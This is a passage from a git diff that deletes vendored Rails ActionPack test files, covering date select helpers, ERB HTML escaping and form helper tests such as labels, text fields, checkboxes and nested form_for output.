-      :ignore_date => false,
-      :include_seconds => true
-    }
-    select_date(Date.today, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_select_datetime_should_not_change_passed_options_hash
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    select_datetime(Time.now, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_select_time_should_not_change_passed_options_hash
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    select_time(Time.now, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_select_html_safety
-    assert select_day(16).html_safe?
-    assert select_month(8).html_safe?
-    assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-    assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-    assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-
-    assert select_minute(8, :use_hidden => true).html_safe?
-    assert select_month(8, :prompt => 'Choose month').html_safe?
-
-    assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector').html_safe?
-    assert select_date(Time.mktime(2003, 8, 16), :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]").html_safe?
-  end
-  
-  def test_object_select_html_safety
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    assert date_select("post", "written_on", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true).html_safe?    
-    assert time_select("post", "written_on", :ignore_date => true).html_safe?    
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
diff --git a/vendor/rails/actionpack/test/template/erb_util_test.rb b/vendor/rails/actionpack/test/template/erb_util_test.rb
deleted file mode 100644
index 06f09547..00000000
--- a/vendor/rails/actionpack/test/template/erb_util_test.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require 'abstract_unit'
-
-class ErbUtilTest < Test::Unit::TestCase
-  include ERB::Util
-
-  ERB::Util::HTML_ESCAPE.each do |given, expected|
-    define_method "test_html_escape_#{expected.gsub /\W/, ''}" do
-      assert_equal expected, html_escape(given)
-    end
-
-    unless given == '"'
-      define_method "test_json_escape_#{expected.gsub /\W/, ''}" do
-        assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
-      end
-    end
-  end
-
-  def test_html_escape_is_html_safe
-    escaped = h("<p>")
-    assert_equal "&lt;p&gt;", escaped
-    assert escaped.html_safe?
-  end
-
-  def test_html_escape_passes_html_escpe_unmodified
-    escaped = h("<p>".html_safe)
-    assert_equal "<p>", escaped
-    assert escaped.html_safe?
-  end
-  
-  def test_rest_in_ascii
-    (0..127).to_a.map(&:chr).each do |chr|
-      next if %w(& " < >).include?(chr)
-      assert_equal chr, html_escape(chr)
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/form_helper_test.rb b/vendor/rails/actionpack/test/template/form_helper_test.rb
deleted file mode 100644
index 5b62674f..00000000
--- a/vendor/rails/actionpack/test/template/form_helper_test.rb
+++ /dev/null
@@ -1,1447 +0,0 @@
-require 'abstract_unit'
-
-silence_warnings do
-  Post = Struct.new(:title, :author_name, :body, :secret, :written_on, :cost)
-  Post.class_eval do
-    alias_method :title_before_type_cast, :title unless respond_to?(:title_before_type_cast)
-    alias_method :body_before_type_cast, :body unless respond_to?(:body_before_type_cast)
-    alias_method :author_name_before_type_cast, :author_name unless respond_to?(:author_name_before_type_cast)
-    alias_method :secret?, :secret
-
-    def new_record=(boolean)
-      @new_record = boolean
-    end
-
-    def new_record?
-      @new_record
-    end
-
-    attr_accessor :author
-    def author_attributes=(attributes); end
-
-    attr_accessor :comments
-    def comments_attributes=(attributes); end
-
-    attr_accessor :tags
-    def tags_attributes=(attributes); end
-  end
-
-  class Comment
-    attr_reader :id
-    attr_reader :post_id
-    def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
-    def save; @id = 1; @post_id = 1 end
-    def new_record?; @id.nil? end
-    def to_param; @id; end
-    def name
-      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-    end
-
-    attr_accessor :relevances
-    def relevances_attributes=(attributes); end
-
-  end
-
-  class Tag
-    attr_reader :id
-    attr_reader :post_id
-    def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
-    def save; @id = 1; @post_id = 1 end
-    def new_record?; @id.nil? end
-    def to_param; @id; end
-    def value
-      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-    end
-
-    attr_accessor :relevances
-    def relevances_attributes=(attributes); end
-
-  end
-
-  class CommentRelevance
-    attr_reader :id
-    attr_reader :comment_id
-    def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
-    def save; @id = 1; @comment_id = 1 end
-    def new_record?; @id.nil? end
-    def to_param; @id; end
-    def value
-      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-    end
-  end
-
-  class TagRelevance
-    attr_reader :id
-    attr_reader :tag_id
-    def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
-    def save; @id = 1; @tag_id = 1 end
-    def new_record?; @id.nil? end
-    def to_param; @id; end
-    def value
-      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-    end
-  end
-
-  class Author < Comment
-    attr_accessor :post
-    def post_attributes=(attributes); end
-  end
-end
-
-class FormHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::FormHelper
-
-  def setup
-    super
-
-    # Create "label" locale for testing I18n label helpers
-    I18n.backend.store_translations 'label', {
-      :helpers => {
-        :label => {
-          :post => {
-            :body => "Write entire text here"
-          }
-        }
-      }
-    }
-
-    @post = Post.new
-    @comment = Comment.new
-    def @post.errors()
-      Class.new{
-        def on(field); "can't be empty" if field == "author_name"; end
-        def empty?() false end
-        def count() 1 end
-        def full_messages() [ "Author name can't be empty" ] end
-      }.new
-    end
-    def @post.id; 123; end
-    def @post.id_before_type_cast; 123; end
-    def @post.to_param; '123'; end
-
-    @post.title       = "Hello World"
-    @post.author_name = ""
-    @post.body        = "Back to the hill and over it again!"
-    @post.secret      = 1
-    @post.written_on  = Date.new(2004, 6, 15)
-
-    def Post.human_attribute_name(attribute)
-      attribute.to_s == "cost" ? "Total cost" : attribute.to_s.humanize
-    end
-
-    @controller = Class.new do
-      attr_reader :url_for_options
-      def url_for(options)
-        @url_for_options = options
-        "http://www.example.com"
-      end
-    end
-    @controller = @controller.new
-  end
-
-  def test_label
-    assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
-    assert_dom_equal('<label for="post_title">The title goes here</label>', label("post", "title", "The title goes here"))
-    assert_dom_equal(
-      '<label class="title_label" for="post_title">Title</label>',
-      label("post", "title", nil, :class => 'title_label')
-    )
-    assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
-  end
-
-  def test_label_with_symbols
-    assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
-    assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
-  end
-
-  def test_label_with_locales_strings
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_human_attribute_name
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_locales_symbols
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_for_attribute_as_symbol
-    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, :for => "my_for"))
-  end
-
-  def test_label_with_for_attribute_as_string
-    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
-  end
-
-  def test_label_with_id_attribute_as_symbol
-    assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, :id => "my_id"))
-  end
-
-  def test_label_with_id_attribute_as_string
-    assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, "id" => "my_id"))
-  end
-
-  def test_label_with_for_and_id_attributes_as_symbol
-    assert_dom_equal('<label for="my_for" id="my_id">Title</label>', label(:post, :title, nil, :for => "my_for", :id => "my_id"))
-  end
-
-  def test_label_with_for_and_id_attributes_as_string
-    assert_dom_equal('<label for="my_for" id="my_id">Title</label>', label(:post, :title, nil, "for" => "my_for", "id" => "my_id"))
-  end
-
-  def test_label_for_radio_buttons_with_value
-    assert_dom_equal('<label for="post_title_great_title">The title goes here</label>', label("post", "title", "The title goes here", :value => "great_title"))
-    assert_dom_equal('<label for="post_title_great_title">The title goes here</label>', label("post", "title", "The title goes here", :value => "great title"))
-  end
-
-  def test_text_field
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title")
-    )
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="password" value="Hello World" />', password_field("post", "title")
-    )
-    assert_dom_equal(
-      '<input id="person_name" name="person[name]" size="30" type="password" />', password_field("person", "name")
-    )
-  end
-
-  def test_text_field_with_escapes
-    @post.title = "<b>Hello World</b>"
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="&lt;b&gt;Hello World&lt;/b&gt;" />', text_field("post", "title")
-    )
-  end
-
-  def test_text_field_with_html_entities
-    @post.title = "The HTML Entity for & is &amp;"
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="The HTML Entity for &amp; is &amp;amp;" />',
-      text_field("post", "title")
-    )
-  end
-
-  def test_text_field_with_options
-    expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "size" => 35)
-    assert_dom_equal expected, text_field("post", "title", :size => 35)
-  end
-
-  def test_text_field_assuming_size
-    expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
-    assert_dom_equal expected, text_field("post", "title", :maxlength => 35)
-  end
-
-  def test_text_field_removing_size
-    expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
-    assert_dom_equal expected, text_field("post", "title", :maxlength => 35, :size => nil)
-  end
-
-  def test_text_field_doesnt_change_param_values
-    object_name = 'post[]'
-    expected = '<input id="post_123_title" name="post[123][title]" size="30" type="text" value="Hello World" />'
-    assert_equal expected, text_field(object_name, "title")
-    assert_equal object_name, "post[]"
-  end
-
-  def test_hidden_field
-    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
-      hidden_field("post", "title")
-      assert_dom_equal '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
-        hidden_field("post", "secret?")
-  end
-
-  def test_hidden_field_with_escapes
-    @post.title = "<b>Hello World</b>"
-    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
-      hidden_field("post", "title")
-  end
-
-  def test_text_field_with_options
-    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
-      hidden_field("post", "title", :value => "Something Else")
-  end
-
-  def test_check_box
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-    @post.secret = 0
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret" ,{"checked"=>"checked"})
-    )
-    @post.secret = true
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret?")
-    )
-
-    @post.secret = ['0']
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-    @post.secret = ['1']
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-  end
-
-  def test_check_box_with_explicit_checked_and_unchecked_values
-    @post.secret = "on"
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
-      check_box("post", "secret", {}, "on", "off")
-    )
-  end
-
-  def test_checkbox_disabled_still_submits_checked_value
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", { :disabled => :true })
-    )
-  end
-
-  def test_radio_button
-    assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
-      radio_button("post", "title", "Hello World")
-    )
-    assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
-      radio_button("post", "title", "Goodbye World")
-    )
-    assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
-      radio_button("item[subobject]", "title", "inside world")
-    )
-  end
-
-  def test_radio_button_is_checked_with_integers
-    assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
-      radio_button("post", "secret", "1")
-   )
-  end
-
-  def test_radio_button_respects_passed_in_id
-     assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
-       radio_button("post", "secret", "1", :id=>"foo")
-    )
-  end
-
-  def test_radio_button_with_booleans
-    assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
-      radio_button("post", "secret", true)
-    )
-
-    assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
-      radio_button("post", "secret", false)
-    )
-  end
-
-  def test_text_area
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_escapes
-    @post.body        = "Back to <i>the</i> hill and over it again!"
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>',
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_alternate_value
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Testing alternate values.</textarea>',
-      text_area("post", "body", :value => 'Testing alternate values.')
-    )
-  end
-
-  def test_text_area_with_html_entities
-    @post.body        = "The HTML Entity for & is &amp;"
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">The HTML Entity for &amp; is &amp;amp;</textarea>',
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_size_option
-    assert_dom_equal(
-      '<textarea cols="183" id="post_body" name="post[body]" rows="820">Back to the hill and over it again!</textarea>',
-      text_area("post", "body", :size => "183x820")
-    )
-  end
-
-  def test_explicit_name
-    assert_dom_equal(
-      '<input id="post_title" name="dont guess" size="30" type="text" value="Hello World" />', text_field("post", "title", "name" => "dont guess")
-    )
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="really!" rows="20">Back to the hill and over it again!</textarea>',
-      text_area("post", "body", "name" => "really!")
-    )
-    assert_dom_equal(
-      '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
-      check_box("post", "secret", "name" => "i mean it")
-    )
-    assert_dom_equal text_field("post", "title", "name" => "dont guess"),
-                 text_field("post", "title", :name => "dont guess")
-    assert_dom_equal text_area("post", "body", "name" => "really!"),
-                 text_area("post", "body", :name => "really!")
-    assert_dom_equal check_box("post", "secret", "name" => "i mean it"),
-                 check_box("post", "secret", :name => "i mean it")
-  end
-
-  def test_explicit_id
-    assert_dom_equal(
-      '<input id="dont guess" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title", "id" => "dont guess")
-    )
-    assert_dom_equal(
-      '<textarea cols="40" id="really!" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
-      text_area("post", "body", "id" => "really!")
-    )
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "id" => "i mean it")
-    )
-    assert_dom_equal text_field("post", "title", "id" => "dont guess"),
-                 text_field("post", "title", :id => "dont guess")
-    assert_dom_equal text_area("post", "body", "id" => "really!"),
-                 text_area("post", "body", :id => "really!")
-    assert_dom_equal check_box("post", "secret", "id" => "i mean it"),
-                 check_box("post", "secret", :id => "i mean it")
-  end
-
-  def test_auto_index
-    pid = @post.id
-    assert_dom_equal(
-      "<label for=\"post_#{pid}_title\">Title</label>",
-      label("post[]", "title")
-    )
-    assert_dom_equal(
-      "<input id=\"post_#{pid}_title\" name=\"post[#{pid}][title]\" size=\"30\" type=\"text\" value=\"Hello World\" />", text_field("post[]","title")
-    )
-    assert_dom_equal(
-      "<textarea cols=\"40\" id=\"post_#{pid}_body\" name=\"post[#{pid}][body]\" rows=\"20\">Back to the hill and over it again!</textarea>",
-      text_area("post[]", "body")
-    )
-    assert_dom_equal(
-      "<input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" /><input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" />",
-      check_box("post[]", "secret")
-    )
-   assert_dom_equal(
-"<input checked=\"checked\" id=\"post_#{pid}_title_hello_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Hello World\" />",
-      radio_button("post[]", "title", "Hello World")
-    )
-    assert_dom_equal("<input id=\"post_#{pid}_title_goodbye_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Goodbye World\" />",
-      radio_button("post[]", "title", "Goodbye World")
-    )
-  end
-
-  def test_form_for
-    form_for(:post, @post, :html => { :id => 'create-post' }) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-      concat f.submit('Create post')
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<label for='post_title'>Title</label>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='commit' id='post_submit' type='submit' value='Create post' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_method
-    form_for(:post, @post, :html => { :id => 'create-post', :method => :put }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_without_object
-    form_for(:post, :html => { :id => 'create-post' }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_index
-    form_for("post[]", @post) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' method='post'>" +
-      "<label for=\"post_123_title\">Title</label>" +
-      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-      "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[123][secret]' type='hidden' value='0' />" +
-      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_nil_index_option_override
-    form_for("post[]", @post, :index => nil) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' method='post'>" +
-      "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
-      "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[][secret]' type='hidden' value='0' />" +
-      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for
-    form_for(:post, @post) do |f|
-      f.fields_for(:comment, @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[comment][title]' size='30' type='text' id='post_comment_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_nested_collections
-    form_for('post[]', @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for('comment[]', @comment) do |c|
-        concat c.text_field(:name)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-               "<input name='post[123][comment][][name]' size='30' type='text' id='post_123_comment__name' value='new comment' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_and_parent_fields
-    form_for('post', @post, :index => 1) do |c|
-      concat c.text_field(:title)
-      c.fields_for('comment', @comment, :index => 1) do |r|
-        concat r.text_field(:name)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[1][title]' size='30' type='text' id='post_1_title' value='Hello World' />" +
-               "<input name='post[1][comment][1][name]' size='30' type='text' id='post_1_comment_1_name' value='new comment' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_index_and_nested_fields_for
-    form_for(:post, @post, :index => 1) do |f|
-      f.fields_for(:comment, @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[1][comment][title]' size='30' type='text' id='post_1_comment_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_on_both
-    form_for(:post, @post, :index => 1) do |f|
-      f.fields_for(:comment, @post, :index => 5) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[1][comment][5][title]' size='30' type='text' id='post_1_comment_5_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_auto_index
-    form_for("post[]", @post) do |f|
-      f.fields_for(:comment, @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[123][comment][title]' size='30' type='text' id='post_123_comment_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_radio_button
-    form_for(:post, @post) do |f|
-      f.fields_for(:comment, @post, :index => 5) do |c|
-        concat c.radio_button(:title, "hello")
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_auto_index_on_both
-    form_for("post[]", @post) do |f|
-      f.fields_for("comment[]", @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[123][comment][123][title]' size='30' type='text' id='post_123_comment_123_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_and_auto_index
-    form_for("post[]", @post) do |f|
-      f.fields_for(:comment, @post, :index => 5) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    form_for(:post, @post, :index => 1) do |f|
-      f.fields_for("comment[]", @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[123][comment][5][title]' size='30' type='text' id='post_123_comment_5_title' value='Hello World' />" +
-               "</form>" +
-               "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[1][comment][123][title]' size='30' type='text' id='post_1_comment_123_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
-    @post.author = Author.new
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:author) do |af|
-        concat af.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="new author" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
-    form_for(:post, @post) do |f|
-      f.fields_for(:author, Author.new(123)) do |af|
-        assert_not_nil af.object
-        assert_equal 123, af.object.id
-      end
-    end
-  end
-
-  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
-    @post.author = Author.new(321)
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:author) do |af|
-        concat af.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
-               '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-  
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
-    @post.author = Author.new(321)
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:author) do |af|
-        concat af.hidden_field(:id)
-        concat af.text_field(:name)
-      end
-    end
-    
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
